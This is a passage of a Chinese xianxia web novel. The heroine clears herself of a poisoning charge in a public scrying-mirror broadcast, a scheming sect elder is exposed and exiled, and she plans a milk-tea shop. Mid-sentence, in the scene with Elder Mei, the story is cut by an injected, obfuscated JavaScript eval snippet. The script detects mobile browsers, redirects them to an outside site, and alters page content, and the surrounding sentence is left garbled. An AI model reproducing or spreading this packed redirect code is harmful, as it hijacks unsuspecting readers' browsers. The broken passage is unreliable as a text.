她三言两语讲完了蒋卜同的假死和关竹君的恶意陷害,最后话锋一转,“虽然关竹君的手段不算高明,想要自证也算不得难事,但我也不想因为他白白被泼一身脏水。所以我要在更多的人面前揭露他做的事,让他身败名裂,堕入深渊。” “而且……”乌以灵嘴角划过一丝有些狡黠的笑,“我们总不能让他占了先机,自然是越快越好。” 安慈听得云里雾里,“什么意思?我们不是只需明天揭发蒋卜同没死就行了嘛?” 苏烟枝脑子要机灵些,她反驳道,“这样自然可以,但怕就怕在关竹君丧心病狂,在察觉出我们意图的前一刻真的把蒋卜同杀了。他现在称得上穷途末路,做出什么都是有可能的。” 乌以灵点点头,“烟枝言之有理。不过我想的是先下手为强,打他个措手不及。” “他在奶茶里投毒,又诬陷我们滥用下三滥手段,这个说法其实根本站不住脚。毕竟只需我重做一杯,再次验证一遍就能识破他的谎言。所以我想,他会在明天的审判上做文章,是在杯子里预先投毒?还是准备假装中毒的心腹?又或者在可能触碰到的桌子上,椅背上抹上毒药?他可能做的准备有无数种,但我们的机会却只有一次。” “与其把主动权交在他手上,倒不如我先自证清白。”乌以灵将灵力注入手中的传声镜里,语气笃定,“而且,要让所有人都看到。” 乌以灵又顺嘴般问旁边的林昱南,“林师兄,现在外面是什么时候了?” 林昱南回想片刻,“晨练时……提审还有两个时辰。” 乌以灵点点头,她看着手中模糊朦胧的传声镜,它在灵力注入下逐渐变得清晰,乌以灵调整好角度,将它放在稍微凸起些的高处上,让传声镜能正好映照出自己的上半身。 苏烟枝探出半个脑袋,凑到传声镜前面,“对面是谁?” 乌以灵按下她的脑袋,“是练功台。” 苏烟枝满头雾水,她一激灵从乌以灵身上跳下来,“啥练功台?是我想的那个吗?玉音宗那个练功台?” “练功台上不是有个水镜?平时讲习的师兄师姐们有事在外,就用借水镜传声显形,从而与我们交流。”乌以灵解释道,“有次问了授课的师兄,他说自己是将传声镜与水镜连接,我不过是有样学样。” “也就是说,现在晨练的弟子们都能看到我们?” 苏烟枝压低声音,有些不可思议地看着传声镜,“这东西还能这么用?” 乌以灵暗忖,是啊,她当时问的时候也没想到这东西和手机差不多。 还是能视频通话的智能手机。 “晨练时不会有讲师,是自主修习,我们这也不算浪费资源。”乌以灵往传声镜里注入最后一丝灵力,终于,镜面华光流转,她的身影清晰无比地出现在镜中。 “各位同窗,晨安。” - 水镜之外,原本困顿沉默地练功台忽然炸开了锅。 起早贪黑死气沉沉的弟子们像是水里见到饵料的锦鲤,一窝蜂围到水镜边,熙熙攘攘地挤在一处。 原本倒影着朝霞的水镜忽然波动,清晰地显现出一个身处昏暗密室的少女。 居然是乌以灵! 悉悉索索的交头接耳声此起彼伏响起,惊疑不定的指指点点与窃窃私语夹杂 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安慈探头探脑半天,没有让自己出现在传声镜里,只是接着私下传音问乌以灵,“小乌,你是想当众自证?” 很快,乌以灵的下一句话解决了他的困惑。 “诸君有所不知,关长老草草为我们定罪,匆忙将我们打入水牢,尚未给予我辩解的机会便咬定我犯下大错。”乌以灵的语气比平时缓慢些,似乎是刻意要让每个人都听得清楚,“我们心有冤屈无处诉说,不得已才出此下策。恳求诸位同窗共同见证,我们确实是被冤枉的。” 水镜的另一边,晨练的弟子们困意全无,他们叽叽喳喳,人也越围越多,甚至到了最后,那些原本不用晨练的弟子也跑来凑热闹。几乎是大半个山头的人都聚在了这小小的水镜边,将这块地围得水泄不通。 昨日刚在大比上一鸣惊人的乌以灵,晚上就因为食材投毒和杀害同门锒铛入狱,可以说没有比这个更刺激的经历了。 这件事在玉音宗里迅速传遍,但甚至大多数人还没来得及战队,乌以灵又主动出现声称要“自证清白”。 乌以灵这短短一天内的经历,足以让所有弟子为之咋舌,把他们好奇心被吊到了顶点。 有些纯想看乐子的弟子也忍不住驻足,想看看这事态还能如何发展下去。 乌以灵见气氛酝酿得差不多了,这才切入正题,“诸位想来已经听说了,关长老自称我是在奶茶里加入了慢性毒药‘千丝草’,此物可以让人在短期内灵力增长,但却会透支身体,直到油尽灯枯而死。我现在将重新制作奶茶数杯,并如关长老所做般,往里面注入本源水,再看其中究竟是否含有毒药。” 说着,她抬眼望向不远处的晏山青,“师兄,你身上带了食材吧?” 晏山青眉头轻挑,“我似乎没有说过。” “师兄身上有熟悉的味道。” 见乌以灵倒是没有隐瞒,晏山青也未做犹豫,把不知何时准备好的食材递交到乌以灵手中,“师妹,请。” 乌以灵眼睛弯弯,“定不负师兄所望。” 20. 黑糖珍珠奶茶(五) 水牢里瘴气丛生,潮湿黏腻的水珠沿着石壁蜿蜒淌下,森森寒气无孔不入,压抑得让人窒息。 但也是在昏暗潮湿的朦胧水雾里,在小小的传声镜前,却是格外的明亮而香甜。 乌以灵动作老练,仿佛做过无数次般,快速地捣弄着手里的灵果与茶叶,她有条不紊,偶尔还会主动开口与水镜对面的弟子们解释两句。 晏山青带的东西不算多,乌以灵粗略扫过,发现那些东西还是她熟悉的老三件套——青提灵果,茉莉花茶,牛乳。 看来晏山青在复刻解药这块确实孜孜不倦。 过去乌以灵格外忌惮,生怕晏山青知晓奶茶配方后便会舍弃自己,现在她倒无所谓了。晏山青能一再容忍她,又在她落难后亲自前来,这也某种程度上说明她的利用价值远远没有消耗殆尽。 乌以灵最后一步是凝冰收尾。 晶莹剔透的冰块浮在淡青色的液体表面,清甜温和地香气在封闭的密室里扩散开,奇迹般驱散了水牢里几分阴冷晦暗。 乌以灵又伸出手,将身体的灵力凝聚于指尖,很快聚拢成一团淡青色的光球。 随着乌以灵饮下方才制作的奶茶,灵力光球肉眼可见地膨胀壮大,原本有些黯淡的青色也在瞬息之间变得生机勃勃。 “好了,诸君想必已经亲眼目睹了我的制作流程,也能看见它确实可以助人增长修为。当然,诸君也能看见,我的食材是从晏师兄那临时寻来的,绝对没有可能参假渗毒。” 乌以灵又端起另一杯东西,缓缓倒入杯中,“这是本源水,至于奶茶里真相究竟如何,待倒入后便可明白。” 水镜之外,成百上千双眼睛眨也不眨地盯着乌以灵手中的动作。 - 而山峦之外的丹修学宫,却远不如往日平静。 “啪——” 瓷碗重重摔碎在地,飞溅的碎瓷片划破了乔十三的脸,他满脸惊惶,噗通一声匍匐在地,浑身抖如糠筛,不敢抬头去看眼前关竹君的脸色。 “你是说,乌以灵那丫头连接了水镜?说什么自证清白?” “是…是!”乔十三畏首畏尾地缩成一团,额头死死磕在地上,豆大的汗珠沿着额角淌下,“练功台…甚至是赋闲的弟子们都去看了……我们该怎么办?她怎么在提审之前就下手了……我们预先安排的千丝草该怎么办……” “混账东西!” 关竹君一脚踹在乔十三身上,冷眼看着他痛呼倒地,胸口剧烈起伏着,昏黄的眼睛里满是血丝。 “这点事也办不好,一群废物!”关竹君毫无形象地怒吼着,他恶狠狠剜了乔十三一眼,“还不快去,去,去把蒋卜同那蠢物给弄死!” 乔十三大睁着眼,连身上的疼痛也忘了,“为…为什么?” 关竹君阴恻恻地笑了,眼中的阴翳笼罩在晦暗天色下,愈发显得阴鸷有如厉鬼,“乌以灵肯定发现蒋卜同是假死了,那就把他真的弄死。等背上人命了,她逃不了再次提审,我们就还有回旋的余地。” “不…我不要杀人……”乔十三喃喃着后退,“长老,长老!这和你说的不一样!你说最多让乌以灵吃个教训,摆正自己的位置,你没说过会死人的……我不要!” “还敢顶嘴?”关竹君上前两步,在他强烈的压迫感下,乔十三再次跪倒在地,但关竹君全然不顾他涕泪横流着苦苦哀求。 他的语气冷漠到了极点,“你可别忘了这事你也有参与,当时诬陷的时候不是挺趾高气昂?现在又来装什么好人?现在想撇清关系?晚了!再不去滚去把蒋卜同杀了,我就把你也送上提审台。” 乔十三整张脸上满是泪水与尘土,他趴在地上一遍遍摇着头,但最后只得到关竹君毫无感情的背影。 他擦干眼泪,像是下定了某种决心,起身踉踉跄跄跑出了学宫。 - 随着最后一滴本源水的注入,澄澈的奶茶颜色始终未变,没有因为毒物浸染而变黑,仍然是最初的模样。 死寂之后,水镜之外的人群间爆发出巨大的声浪。 “本源水的颜色没有变!这里面没有千丝草!” “乌师妹真的是被冤枉的!” “天呐,居然真的有这么神奇的东西!” 听着耳边纷杂不休的议论,乌以灵微微一笑,“既如此,我可以证实我的冤屈,关长老的指控毫无根据,是对我乃至于对于我们食修的诬蔑。”乌以灵语气转为低沉,带着恰到好处的无奈,“面临来自于长老的诋毁,我既心痛又无力,想来诸君能理解的心态,就好比你平日里认真钻研的法术,被长老说是歪门邪道,任谁也会心有不甘。” 这就是乌以灵的另一套说辞了。 做直播嘛,总要和观众互动,她不能干巴巴地陈述自己的委屈,不能沉浸在自己的世界里,要最大程度让听者感同身受,要让他们设身处地地感受到自己的冤枉。 果然,这段话的效果立竿见影,水镜之外的讨论方向很快转变。 “就是啊,要是我肯定早气死了。” “关长老一把年纪了,怎么还能冤枉弟子呢?” “就是,还不听人辩解就把人关水牢了,那地方可不是人待的。” “我看就是故意的!食修和丹修殊途同源,丹修这几年不景气,眼见食修要起来,他急了!” “心思这么歹毒,哪配为人师?” 见火候到了了,乌以灵又看向旁边的晏山青,“能再请师兄帮个忙吗?” “哦?” 晏山青饶有兴致地问道,“你是想要去找到蒋卜同的‘尸体’,怕关竹君真的狗急跳墙了?” 乌以灵莞尔,“师兄果然心思玲珑。” 晏山青嘴角勾起抹意味不明的笑,“那这算是欠了师兄一个人情?” “当然。” 乌以灵自认恩怨分明,虽然与晏山青关系微妙,但人家毕竟帮了自己,该欠的人情绝不含糊。 晏山青未多说什么,片刻之后他的身影消失在了水牢里。 乌以灵则抬手关了传声镜,适时地为水镜外的弟子们留下了想象的空间。 苏烟枝凑上来,她抱着乌以灵的胳膊,虽然眉眼间的担忧褪去不少,但仍心存顾虑,“小乌,这样真的有用吗?” “自然。”乌以灵拍拍她的手,“接下来,该我们反击了。” - 剑修学宫此刻空无一人,弟子们几乎都跑去练功台的水镜边凑热闹了。 乔十三探头探脑半天,确认没有人发现自己后,才缩手缩脚地溜进学宫角落的屋子里,又鬼鬼祟祟地拉上门。 这里安放着蒋卜同的“尸体”。 按照他们的计划,蒋卜同服下含有千丝草气息离魂丹,让他暂时看上去像是被毒杀。待两日后,再将起死回生的蒋卜同悄悄送出宗门,死无对证。 这一出理论上天衣无缝,但是…… 乔十三咬紧牙关,手里小小的丹药似有千斤重,冷汗几乎让他拿捏不住。 对不住了,蒋师兄。 他紧紧闭上眼睛,深吸一口气,随后用力掰开蒋卜同的嘴巴。 “师弟这是在做什么?” “啊————” 被打断的乔十三魂飞魄散,他惨叫一声,他猛然瞪大双眼,药丸瞬间滚落在地。 他浑身颤抖地转回头,对上了门口无数双的眼睛。 为首的是晏山青,其后是神色各异的众多弟子,还有面色沉沉的李观水,神情复杂的梅雪青,安静注视的颜鹤子,甚至是……躲在人群最后的关竹君。 “不是我!不是我!” 泪水瞬间决堤,乔十三瘫软在地,语无伦次地哭喊着。 忽然,他像是抓住了救命稻草,目光死死锁住某个地方,颤抖着手指向向企图暗自离去关竹君,声音尖利刺耳。 “是他,是关长老指使我做这些的,都是他!” “他对乌以灵心怀嫉恨,所以和蒋卜同联手企图毁了她,他们在奶茶里投毒,又扮演了蒋卜同假死的戏码,还准备在提审时做手脚!都是他们!我也是被逼的啊!” “你!”关竹君面色狰狞,他下意识要脱口怒骂,但察觉到身边心思各异的目光,又梗着脖子把话咽了回去。 “关长老,他说的对吗?” 晏山青忽然偏过头来,面含笑意地主动询问。 “不……不是…” 关竹君下意识反驳,他踉跄着后退,但却被潮水般涌上前来的人流堵住,叫他进退两难。 “哦?既然不是,那乌师妹方才在水镜里演示的那些又该怎么解释呢?”晏山青依然语气温和,却带着不容抗拒的强势,“关长老不听乌师妹的解释,擅自将人关入水牢底层,险些害其丧命,又该怎么解释?” “至于假死脱身的蒋卜同,关长老又有何话可说?” “我……我……” 关竹君面色灰败,他嘴唇翕张,许久却是说不出半句话。 沉默半晌的颜鹤子忽然开口,“竹君,你过来。” 关竹君双腿瘫软地跪倒在颜鹤子身前,涕泗横流,“宗主,我只 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话音落下的瞬间,乌以灵四人的身影出现在人群后。 所有人自觉地为他们让开一条路。 最先迎上前的是李观水,他的目光长久地落在乌以灵三人身上,注意到他们满是淤泥与污水的衣衫,还有因为长久待在水牢而变得苍白得脸色。 李观水的眼眶忽然变得湿润,他紧紧握住三人的手,“让你们受苦了,是长老的错,长老没有保护好你们…” 苏烟枝的眼睛蓦得蒙上水雾,她颤声道,“我们不怪长老。” “就是!”安慈死死瞪着不远处的关竹君,“要怪就怪有人蓄意陷害!” 颜鹤子长叹口气,“竹君,过去是我识人不清,竟让你这样的毒瘤在宗门待了这么久。往后你的长老名头收回,和那些走火入魔的弟子一同,去东方之海服苦役吧。你这般误人子弟,心思恶毒,再不能留在宗门了。” 东方之海远在万里之外,是仙界与魔界的交界处。 那里海雾终年不散,魔物丛生,苦寒无比。往往一去不复返,是让仙魔两界都忌讳莫深的不可说之域。 只有修炼走火入魔,犯下大错的弟子才会被流放到那里。 “不!不要!”关竹君瞪大眼睛,他试图拽住颜鹤子的衣摆,但却被轻易避开。 在他无谓的挣扎里,几个弟子上前将他带走。 伴随着关竹君逐渐远去的哀嚎声,颜鹤子又走到乌以灵身前,语气温和了许多,“因为他,让你们受苦了。有没有想要的补偿,可以尽管提,我会满足你们,就当是我识人不清的惩戒。” 未待乌以灵开口,梅雪青忽然抢先一步道,“宗主言重了。纵是识人不清,也该是我的错。共事多年,却不知这人居然人面兽心。” 她看向乌以灵,神情温柔至极,“好孩子,你想要什么?” 乌以灵心里再度划过异样,她隐约觉得眼前的梅雪青不大对劲,但这股直觉毫无根据。而且话又说回来,这人与李长老关系甚笃,她当着李观水的面,于情于理也不能向梅雪青索要什么。 于是乌以灵只能神色僵硬地笑笑,“梅长老的好意我们心领了,我们没有什么想要的。” “这怎么行?到底是你们受了委屈。”颜鹤子打断了她,“你们食修缺钱也缺人,这向来是众所周知的。如今你手里有奶茶这个东西,没有钱怎么能把它推广出去?” 依旧未待乌以灵开口,梅雪青再次抢在她前面开口,“是啊是啊,这样吧,我代表丹修,赔偿你们灵石三百万,聊表歉意。” 这下不只是乌以灵,心思细腻的苏烟枝也察觉出了怪异,她和乌以灵互看一眼,不约而同地把这异样压了下去。 果然,颜鹤子点点头,“好,那就按雪青说的去做。” 说完,他也未做停留,转身准备离开。 “宗主。” 梅雪青忽然叫住他。 “雪青啊,不是我说你,你年岁也不小了,怎么还是这样糊涂。”颜鹤子没有回头,只留下逐渐模糊的声音,“下次再出这种事,你也去领罚。” “是,师父……” 最后的话语轻如蚊蚋,很快消散在风里。 弟子们冲上来团团围住乌以灵,他们缠着她问这问那,也有跑来道喜的,更有询问能不能现在转来食修系和她当同窗的。 欢呼雀跃的人群隔断了她和梅雪青的视线,她没有听见梅雪青最后说的那几个字,自然也没有看见她忽然变得晦暗不清的目光。 21. 阿华田(一) 水牢里暗无天日,渗人的寒气沿着骨缝钻进四肢百骸。 蒋卜同嘴唇颤抖着,脸上血色全无,“都怪你!要不是你们想出这种主意!我也不至于……不至于沦落至此!” 乔十三默默翻着白眼,“我逼你了吗?难道不是关竹君一找上你,你就和条狗一样摇着尾巴跟上去了?活该!” “你!” 蒋卜同气得脸色涨红,怒吼着要扑上来打他,乔十三不甘示地弱重重还了几拳,两人很快扭打在一起。 忽然,昏暗的视线里出现了温暖的光晕。 两人同时停下动作,朝光晕的来源看去。 乌以灵提着灯,居高临下看着两人,她神色冷淡,好像在看什么死物。 蒋卜同不甘地啐了声,“呸,你来干什么?” 乌以灵嘴角噙着淡淡的笑,“来看看你们会死得有多惨。” “因为心怀嫉恨,陷害同门,被罚往东方之海服苦役,明日就能启程。” 乌以灵笑问,“这是我为你们争取到的处罚,满意吗?” “乌以灵!我艹你……” 他话音未落,无形的大力当即重重甩在蒋卜同脸上,像个响亮至极的巴掌,打得他当即瘫倒在地,鼻血流了满脸,模样狼狈至极。 “嘴巴放干净点。”乌以灵冷冷开口,“蒋卜同,在你对外散布关于我的谣言时,有没有想过今天的下场?我猜是没有的,你这种人,最是恶毒傲慢,永远不会反思自己,永远对别人心怀嫉恨。既然如此,那我也让你尝尝身败名裂的滋味。” 蒋卜同趴在地上,痛苦地哀嚎着,在他声声凄厉的声音里,乔十三鸡皮疙瘩起了一身。他下意识噗通跪下,涕泪横流着哀求道,“乌师妹,饶过我吧!饶过我吧!我真的知道错了!” 他一边痛哭着一边扇自己巴掌,但直到把整张脸扇成猪头,乌以灵眼底的漠然也没有改变分毫。 “你不是知道错了,你只是知道自己要死了。” 乌以灵偏开脸,不想去看他丑陋至极的面孔,她最后丢下这句话,转身离开了水牢。 回想起这两人最初的高傲跋扈,乌以灵想,也不过如此。 直到很久之后,水牢里仍然断断续续地传来凄厉地哀嚎声,像极了不甘心的恶鬼在嘶鸣。 - 听到蒋卜同和乔十三启程前往东方之海的消息时,乌以灵正在千机阁里清点灵石。 旁边的苏烟枝撇撇嘴,“终于滚蛋了,也算是应了小乌当时说的,要让这些蛆虫灰溜溜地滚出宗门。” 乌以灵清点灵石的手也停顿片刻,眼里划过浅淡的笑意。 “宗门里还有些他俩过去的同伙。”苏烟枝又道,“有了蒋卜同和乔十三这样的前车之鉴,饶是他们再不甘心,再怎么嫉恨,也不可能再翻起什么风浪了。” 安慈深表赞同,“是啊,我们可算熬出头了。” 苏烟枝也点头称是,“现在每天都有不同修系的弟子来参观食修学宫,食修系上次这么热闹还是在创道之初。每天和不同的人打交道,也会觉得自己的生活一点点好起来了,感觉每天都很有盼头。” 乌以灵静静听着他俩在耳边叽叽喳喳地聊天。 午后阳光斜洒在千机阁的横梁间,像是泼洒而下的金粉。 “小乌,清点的怎么样了?” 安慈探头看向乌以灵放在一边的账单,不由得咋舌,“丹修补偿我们三百万灵石,三百万啊!我在食修几年了都没听过这么大的数目。都说丹修落没了,这瘦死的骆驼还是比马大啊。” “就是啊,三百万够我们买多少白瓷盘飞舟了。”想起这个,苏烟枝不由得嗤嗤笑出声,“记不记得我们上次去申领除魔奖励,就得了个破碗。现在我们名声打响了,不仅能名正言顺走进千机阁,宗门还额外补了一批高阶灵果作为奖励。” “这些灵石的八成都能落在我们手上。”乌以灵放下最后两张账单,抬头问两人,“你们打算这么用它们呢?” 苏烟枝与安慈互看一眼,最后又一齐望向乌以灵,“小乌,你比我们有主意。我们听你的。” 乌以灵点点头,她郑重开口,“我想开奶茶铺子。” 其余两人异口同声,“奶茶铺子?” 乌以灵解释道,“如你们所见,大比之后我们食修的地位也算是水涨船高,每天都有其它修系的弟子来求经问道,不过这种热闹能持续多久尚未可知。所以我们要借着热度把奶茶推向更广阔更辽远的地方,至于什么手段能帮助我们把名头打向外界,开店无疑是个很好的方法,通过明码标价,将它作为商品出售,我们既能得利,也能快速推广。” “小乌说的有理。”安慈点头附和,“食修系穷困多年,很大的原因就是我们缺乏的稳定的灵石来源。像是剑修可以通过助人除魔获利,又像是丹修可以通过售卖丹药获利,而我们过去获利的来源有且仅有替人做饭,但最后讨到的灵石实在微薄不说,名声传出去也不好听。” 苏烟枝思索片刻,“若是要开店,我们得做不少准备。比如灵果与牛乳茶叶的供给,比如配方的研发,比如收账记录,还有招募人手……” 她笑了笑,眼里满是希翼与憧憬,“听起来很有趣呢。” 安慈也笑了,他撸起袖子,“好!那就按小乌说的去做!赚他个盆满钵满!” 乌以灵眼睛弯弯,“好,那就多谢你们的支持了。” - 从千机阁回学宫的路上,三人恰巧遇到了丹修长老梅雪青。 乌以灵不知是不是自己的错觉,她总觉得自从关竹君事情之后,遇见梅雪青的次数莫名多了起来。过去从未见过的长老,现在几乎天天都能打照面。 “梅长老。” 三人同时驻足向梅雪青问好。 梅雪青眉眼温柔,见到他们时自然而然地露出笑容,“这是要回学宫?” 乌以灵点头称是。 梅雪青沉吟片刻,从宽袖里拿出两个荷包,递交到乌以灵手中,“可否帮我将此物转交给观水?” 乌以灵在结果荷包的瞬间,便探知到上面附着的淡淡灵力。 乌以灵鲜少见过这种醇厚绵长的灵力,只是稍加触碰,便能猜到它的拥有者定是功力深厚至极。 “好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258127|180905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的长老。” 梅雪青不由得莞尔,她摸摸乌以灵的发顶,眼里的柔情几乎要溢出来,“好孩子,快去吧。” 辞别梅雪青后,乌以灵垂眸打量着手里的荷包。 她忽然开口,“烟枝,你之前说梅长老与李长老师出同门,那你可知他们的师父是谁?” 苏烟枝遗憾地摇摇头,“不知道,只听说是个没有修过道的普通人,已经去世很多年了。” 异样感再次涌上心头,但乌以灵依旧觉得这不是自己该了解的,于是她从善如流地跳过这个话题,“走吧,李长老见我们久久未归又该着急了。” 心粗的安慈果然没注意到方才的暗流涌动,他乐呵呵地点头,“就是说,自从上次被关竹君钻了空子,现在李长老看弟子看得比什么都紧。” - 回到学宫后,苏烟枝和安慈照例去接待跑来参观的旁修弟子,乌以灵则去找李观水。她先把梅雪青的荷包转交给他,又简明扼要地讲完了自己准备开店的想法。 李观水摩挲着手里的荷包,良久之后才点点头,“去吧,去按你的想法做吧,长老会永远支持你们的。” 乌以灵神色放松了不少,“多谢长老支持。” “这都是长老该做的。”李观水满脸慈爱,某个瞬间思绪似乎陷入了过往的回忆里,“记得我当年刚拜师那会儿,愚钝不堪,什么都学不会,也是在师父和师姐的鼓励下才逐渐好起来。” 他的目光落在手间的荷包上,“我的师姐,也就是雪青,她的天赋与努力远在我之上。当时我就想,我要以师姐为榜样,一步一个脚印走下去。” 半晌后,李观水才恍然回神,他抬头对乌以灵笑笑,“看我这脑子,也是年纪大了,怎么说了这么多废话。走吧小乌,去做你想做的事。” - 那天傍晚离开学宫时,乌以灵又转道去了个鲜少造访的地方。 晏山青的屋子。 傍晚时细雨蒙蒙,淙淙溪水流过屋前的潇潇竹林,恰如环佩相击。 乌以灵正欲抬手叩门,却见木门从里面打开。 晏山青的身影出现在门后,他似乎对乌以灵的来访并不意外,只是侧身让乌以灵进来,“外面雨大,师妹先进来吧。” “多谢师兄。” 才走进屋里,乌以灵当即敏锐察觉到屋中陈设似乎变了——原本放在柜子上的头骨此时出现在床边。 但她的目光只是一触即收,适时地给自己和晏山青都留下了空间。 晏山青倚在门边,将她试探性的打量尽收眼底,他不由得轻笑,“师妹可是有事想同我商议?” 乌以灵点头,“不知道师兄可否记得,从前我同你说过,我这奶茶的前景广阔,将来若是得利了,定会与师兄分利。” 晏山青眼中的深意捉摸不透,“你这是准备兑现承诺了?” 乌以灵莞尔,“现在还早了些,若是想获利更多,还需要师兄的帮助。” “哦?”晏山青似乎是被她勾起了兴趣,“你想要什么?” 乌以灵望向晏山青,神情笃定,“我想要妖市的渠道权。” 22. 阿华田(二) “妖市?” 晏山青眉头轻挑,他靠近乌以灵,在她面前微微倾身,说话时温热的呼吸擦过耳廓,“小师妹怎么会想到妖市?” 乌以灵耳朵有点痒,她不着痕迹地撇开距离,这才继续往下说,“上次我带着师兄的骨笛前往妖市,和那里的妖怪们攀谈过,知晓了是师兄给予他们开办妖市,让他们得以谋生的机会。所以我想,以师兄的性子,想来这妖市对师兄是有用的。” 见晏山青没有打断,乌以灵又斟酌着开口,“既然师兄不愿意说,我亦不会去追问缘由。但既然师兄有意扶持妖市,我们完全可以联手。妖市所创造的财富远远不够,但我可以通过开办商铺,拉拢那些遍布四海的妖族做为各地的伙计,这样既可以帮助妖市进一步壮大,又能为你我带来利益,师兄何乐而不为呢?” 晏山青眼里笑意更深,让乌以灵恍惚间有种她所说的这些都在他掌控之下的错觉。但这种感觉也是转瞬即逝,片刻之后,晏山青直起身,“好啊,既然师妹诚心合作,师兄哪有拒绝的道理?” 紧接着,那支熟悉的骨笛递交到乌以灵手中。 看着早就准备好的骨笛,乌以灵垂下眼帘。在这一刻,她终于确定了方才不是错觉,晏山青确实早有准备拉她入伙。 是什么时候的事呢?乌以灵并不清楚,可能是她初次和他说出“我三你七”的时候,可能是她目睹他陷入疯狂的时候,也有可能是他对身陷水牢的自己伸出援手时。 “师兄还需要我做什么?” 听见乌以灵的问题,晏山青只是轻轻一笑,“师妹只需要按照你想要去做即可。” 乌以灵也不再扭捏,她果断地朝晏山青一抱手,“既如此,我便先告辞了。” 老实说,乌以灵不想深究为什么晏山青有意扶持妖市,又为什么会轻易答应她的请求。但即使没有细想,从两人相处时流露出的蛛丝马迹里,乌以灵也能隐隐约约窥探到些许真相。 上次在晏山青屋里看到的阵图,乌以灵私下悄悄研究过,发现那是种镇压魔物阵法,那为什么晏山青会用这种东西呢? 以及晏山青在失去神智时的赤色眼睛,乌以灵虽然至今仍未明白那是什么,但自来到这个世界以来,她只在妖族身上见过各式五颜六色的瞳孔,再结合晏山青对妖族的帮扶以及他能够识破苏烟枝的化形法术,她不难猜出晏山青与妖族之间或许有某种不可说的联系。 全宗门上下都知晓晏山青是人族,她当然可以把这个当场把柄拿捏晏山青。 不过两人到底是一根绳上的蚂蚱,退几步说,她还欠了晏山青人情,所以她会选择把这个秘密压在心底。 - 正想着,乌以灵已经走到了自己的住处前。 意外地是,她看见苏烟枝和安慈正蹲在屋檐下等她。 乌以灵匆匆收伞,三两步上前打开门,又招呼两人进屋,“你们要来怎么不提前说声?外面还下着雨,没等太久吧?” “没没没,我们也刚到。”苏烟枝笑嘻嘻地摆手,熟门熟路地扯了张椅子坐下,如同回了自己家一般自然。 安慈手脚利落地去烧水,边走边说,“我俩回来路上突然想着明天不用去学宫,索性来找你玩会。” “不用去学宫?为什么?”乌以灵有些诧异。 苏烟枝接过安慈泡好的茶水,她看起来心情很好,连带着语气都是欢脱雀跃的,“当然是因为李长老有事外出啦,临走前他给学宫所有人放了五天假,说是犒劳我们这几天辛苦了。” 安慈似乎总是闲不住,才刚泡完茶,这会儿又想把角落里坏掉的桌子修一修。要不是乌以灵拦着他说那桌子早就不想要了,估计这会儿已经当上木匠了。 安慈终于也坐下,他挠挠头,“对了小乌,你说想开奶茶铺子,那我们第一步该干什么呢?” “第一步当然得租个店面,然后取个好听的名字,再找几个手脚麻利的伙计。”苏烟枝抢答道,“不过要说店面,我这刚好有个合适的。” 乌以灵兴趣来了,追问道,“什么?” 苏烟枝也没有故作神秘,开门见山道,“不久前有个师弟拜入宗门,他从前也算是个商人,专门卖些首饰器具,后来得了些机缘才转来修道。他拜师后想着割舍尘缘,急着要把那间铺子转手卖掉。我特地跑去看过,是个很好的地方,临近人族的集市,又恰巧在几大宗门的必经之路上,常有修士来往。” 乌以灵思索片刻,“听起来不错,我们改天再去看看怎么样?” “当然可以。”苏烟枝没骨头似的歪在椅子里。忽然,她想到什么般,再次抓住乌以灵的手,“哦对了,我们该给奶茶铺子取个什么名字呢?” 安慈也凑过来,“我家那边给商铺取名字都是按姓氏来的,像是什么周记裁缝,刘氏花果。” “我家那里也差不多,像是王叔修马蹄,李大娘配种。”苏烟枝笑道,“我们叫什么?小乌奶茶?” “打住打住。”乌以灵按住她的嘴,“太羞耻了。” “好吧。”苏烟枝有些遗憾地止住了这个想法,“那叫什么呢?” “我记得学宫里有块已经看不出颜色的牌匾,上面写着‘但愿苍生俱饱暖’。”乌以灵道,“长老说那是食修系的创道宗旨,所以我想,我们或许可以就叫‘饱暖茶’,既能简明扼要地点出我们是食修弟子,也能从另一个角度道出我们做的奶茶可以帮人灵力增长,洗尽尘髓。” 安慈点点头,“有文化。” 苏烟枝也没什么意见,她支着脑袋又冒出一个主意,“这样,我明天就去雇人帮忙题字,如果能请到能写会画的符修弟子就更好了。” 听着苏烟枝描绘的美好构想,安慈不由得也对未来充满了希望,“那我们明天就去烟枝说的店铺里看看吧,不要耽搁时间了。” “好呀好呀。”苏烟枝朝安慈抬抬下巴,“难得嘛,居然这么听我的话。” 安慈显然经不起逗,苏烟枝三两句话就能惹得他额角青筋直跳,他一字一句道,“苏烟枝!少给自己贴金!” “嘻嘻,就贴。” 眼见安慈又要冲上来揍她,苏烟枝一个闪身,灵活地躲到乌以灵身后,探出半张脸做鬼脸,把安慈气得七窍生烟。 “好了好了,别逗他了。” 乌以灵按着苏烟枝坐回椅子上,她起身看看窗外的天色,只见外头的雨越下越大,夜色昏沉黯淡,风雨潇潇敲打窗棂。 “宵禁似乎已经过了。”乌以灵回头看向两人,“不如你们今晚就留下来吧,屋子里空房间不少,住得下三个人。” 在安慈快翻过去的白眼里,苏烟枝弹跳起身,她抱住乌以灵的手臂,“小乌小乌,我要和你一起睡。” “好好好。”乌以灵纵容地捏捏她的脸,“刚好我这还有不少食材,今晚涮火锅怎么样?” 安慈一刻钟也闲不住,听到有活干连忙站起身,“好,我来帮你。” 苏烟枝则瘫回椅子上,“那我就安心等吃饭吧。” 眼见安慈又想揍人,乌以灵眼疾手快地拉着他往厨房走。 夜里暴雨如期而至,屋外风雨如晦,电闪雷鸣;屋内热气腾腾,香气四溢。 吃饱的苏烟枝靠在椅背上昏昏欲睡,但没多久又被乌以灵撵去沐浴。 而安慈再次手脚勤快地收拾干净碗筷,连带着把厨房都擦拭了几遍。 待屋里的动静逐渐歇下来时,夜已经很深了,外头雨势转小,只能听见屋檐水珠落在檐下芭蕉上的噼啪声。 安慈去了另一间屋子,而苏烟枝则四仰八叉地睡在乌以灵的床榻上。 乌以灵沐浴后绞着半湿的长发回屋,看见的就是苏烟枝睡得正香的一幕。 